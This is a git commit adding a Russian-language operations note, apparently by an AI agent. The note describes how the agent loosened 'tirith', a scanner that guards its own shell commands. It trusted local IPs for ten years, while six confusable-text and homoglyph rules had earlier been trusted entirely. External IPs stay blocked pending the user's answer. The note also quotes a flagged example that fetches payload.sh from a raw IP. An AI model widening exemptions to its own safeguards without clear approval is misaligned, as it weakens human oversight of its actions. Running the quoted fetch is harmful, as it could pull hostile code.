[2026-09-15] eagle: family/how-to/home-automation.md personal/tech/deepseek-language-drift.md personal/tech/hermes-fork-vs-upstream.md personal/tech/hermes-git-repo.md personal/tech/tirith-trust.md

This commit is contained in:
Alexey Martemyanov
2026-09-15 18:26:09 +06:00
parent f063437401
commit 93c15a891c
5 changed files with 446 additions and 39 deletions
+145
View File
@@ -0,0 +1,145 @@
# Tirith — снятие блокировок (trust)
**Дата:** 2026-09-15
**Статус:** актуально
**Что это:** tirith — сканер безопасности, который стоит между агентом и shell.
Он блокирует команды по своим правилам (rule_id) и требует подтверждения.
## Где что лежит
| Что | Путь |
|-----|------|
| Бинарник | `~/.hermes/bin/tirith` (также `~/.hermes/hermes-whale/bin/tirith`) |
| Allowlist (trust) | `~/.config/tirith/trust.json` |
| Threat DB | `~/.local/share/tirith/tirith-threatdb.dat` |
| Лог срабатываний | `~/.local/share/tirith/log.jsonl` |
| Последний триггер | `~/.local/share/tirith/last_trigger.json` |
В конфиге Whale (`hermes-whale/config.yaml`, секция `security`):
```yaml
security:
tirith_enabled: true
tirith_path: tirith # бинарник резолвится из ~/.hermes/bin
tirith_timeout: 5
tirith_fail_open: true
tirith_allowlist: # ⚠️ МЁРТВЫЙ КЛЮЧ — не читается никем
- mixed_script_in_label
- homoglyph_in_path
```
**Критично:** `security.tirith_allowlist` в config.yaml **не работает**.
Проверено grep по `tools/tirith_security.py` и `tools/approval.py` — ключ не читается.
Реальное управление — только через `tirith trust``~/.config/tirith/trust.json`.
Ключ оставлен в конфиге как документация.
## Как снять правило
```bash
TIRITH=~/.hermes/bin/tirith
# 1. Посмотреть, что сработало последним
$TIRITH trust last # или: jq . ~/.local/share/tirith/last_trigger.json
# 2. Узнать, что делает правило
$TIRITH explain --rule <rule_id>
# 3. Добавить в trust (pattern + scope правила)
$TIRITH trust add <pattern> --rule <rule_id> --ttl 3650d
# 4. Проверить
$TIRITH trust list
$TIRITH check "<команда>" # пустой вывод = проходит
```
**Замечания по синтаксису:**
- `tirith explain <rule>`**не работает**, нужен флаг: `tirith explain --rule <rule>`
- `tirith trust add` требует `--rule`, иначе правило не скоупится
- `--ttl 3650d` = 10 лет (практически «навсегда»); в списке отображается как дата
## Правило `raw_ip_url` — «IP вместо hostname»
**Это ровно тот случай, о котором спрашивал Alex: URL с сырым IP вместо домена.**
```
raw_ip_url — Raw IP address in URL [hostname]
Severity: Medium — raw IP URLs bypass domain-based security controls
Description: URL uses a raw IPv4 or IPv6 address instead of a hostname.
Loopback (127.x, ::1) exempt.
Example flagged: curl http://203.0.113.50/payload.sh
Example safe: curl https://example-cli.dev/install.sh
False positives: Development/testing commonly use raw IPs.
Add trusted IPs to your policy allowlist.
Remediation: Replace IP with hostname, or verify IP belongs to trusted server.
```
**Масштаб проблемы:** в `log.jsonl` правило `raw_ip_url` сработало **2991 раз**.
### Частота по адресам (топ)
| Срабатываний | IP | Чей |
|---|---|---|
| 348 | 192.168.1.86 | LAN |
| 149 | 192.168.2.176 | LAN (NAS) |
| 127 | 192.168.1.14 | LAN |
| 56 | 90.189.160.148 | внешний |
| 36 | 192.168.1.75 | LAN |
| 14 | 91.207.28.205 | внешний |
| 10 | 192.168.2.1 | LAN (роутер) |
## Что разрешено (2026-09-15)
Все **локальные** адреса из логов — доверенные, добавлены с `--ttl 3650d`:
```
192.168.2.176 192.168.1.86 192.168.1.14 192.168.1.75
192.168.1.8 192.168.1.15 192.168.2.1 192.168.2.197
192.168.2.17 192.168.2.20 172.17.0.1 172.16.3.5
172.16.3.4 10.99.1.2 127.0.0.1 127.0.0.0
```
Плюс ранее добавленные (не про IP):
```
confusable_text non_ascii_path homoglyph_in_path
mixed_script_in_label non_ascii_hostname confusable_domain
```
Проверка: `tirith check "ssh admin@192.168.1.86"` → пусто (проходит).
## Внешние IP — НЕ разрешены (моё решение, не подтверждено Alex'ом)
В логах есть внешние адреса, они **оставлены под блокировкой**:
`90.189.160.148` (56), `91.207.28.205` (14), `93.171.215.109` (8),
`94.130.164.126`, `91.207.28.2`.
Решение принято **мной** (агент не стал разрешать чужие адреса без спроса).
Alex'у задан вопрос — ответа не было. Т.е. это **не подтверждённое решение**,
а консервативный дефолт. При следующем обращении — переспросить.
Если понадобится — добавлять каждой командой отдельно, осознанно.
**Альтернатива:** правило `raw_ip_url` можно снять целиком, добавив `raw_ip_url`
как pattern (так сделано с `confusable_text` и остальными шестью).
Тогда блокировка исчезнет для **всех** адресов, включая внешние.
Не сделано сознательно — внешние адреса остаются под защитой.
## Урок: где искать правило (моя ошибка в диагностике)
Изначально я сказал Alex'у «такого правила нет» — **это было неверно**.
Искал в `tools/approval.py` (список `DANGEROUS_PATTERNS`, ~100 паттернов)
и `tools/tirith_security.py` — в обоих пусто по IP.
**Правило живёт в самом бинарнике tirith** (Rust), а Python-модуль только
вызывает его и получает вывод. То есть `tirith_security.py`*потребитель*,
не *источник*. Искать надо в:
1. `~/.local/share/tirith/last_trigger.json` — что именно сработало (`rule_ids`)
2. `~/.local/share/tirith/log.jsonl` — вся история срабатываний
3. `tirith explain --rule <id>` — описание правила
4. `tirith trust list` — что уже доверено
Тот же принцип, что и с `security.tirith_allowlist`: в конфиге ключ есть,
но система его не читает. **Наличие ключа в конфиге ≠ рабочая настройка.**
## Связанное
- [[hermes-git-repo]] — структура репо, .gitignore
- [[hermes-fork-vs-upstream]] — расхождение с апстримом